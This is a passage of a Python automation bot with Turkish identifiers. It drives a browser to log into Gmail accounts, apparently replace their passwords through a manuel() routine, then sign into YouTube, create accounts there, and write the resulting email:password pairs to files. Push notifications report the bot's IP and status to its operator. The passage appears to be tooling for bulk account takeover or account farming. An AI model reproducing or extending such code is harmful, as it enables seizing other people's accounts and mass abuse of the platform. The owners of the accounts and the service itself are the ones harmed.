1154 failC += 1
1155 endSession()
1156 continue
1157 else:
1158 addToTekrar(info)
1159 endSession()
1160 continue
1161
1162 else:
1163 url = getUrl()
1164 if("mail/" in url
1165 or "inbox" in url):
1166 gmail = manuel(password, newPass)
1167 g = gmail.split(":")
1168 gmail = g[0]
1169 newPass = g[1]
1170 else:
1171 print("-----RAPOR EDILMELI!!!!")
1172 addToOzel(info)
1173 endSession()
1174 continue
1175
1176 time.sleep(5)
1177 pyautogui.hotkey('alt', 'f4')
1178 try:
1179 driver = setYoutubeDriver()
1180 loginYoutube(str(gmail), newPass)
1181 text = getBody()
1182 if not "The email and password" in text:
1183 createYoutube(str(gmail), newPass)
1184 info = str(gmail) + ":" + newPass
1185 addToGmail(info)
1186 sucC += 1
1187 endSession()
1188 continue
1189 except:
1190 addToTekrarYT(str(gmail)+":"+newPass+"\n")
1191 try:
1192 driver.close()
1193 except:
1194 pass
1195 try:
1196 info = str(gmail) + ":" + newPass
1197 addToGmail(info)
1198 except:
1199 pass
1200 sucC += 1
1201 endSession()
1202
1203'''
1204push("Youtube Ceviri", "Bot basari ile islemi bitirdi. IP: " + ip)
1205except Exception as e:
1206 push("Youtube Ceviri", "Bot hata verdi tekrar baslatilmali! IP: " + ip + "\nHata: " + str(e))
1207'''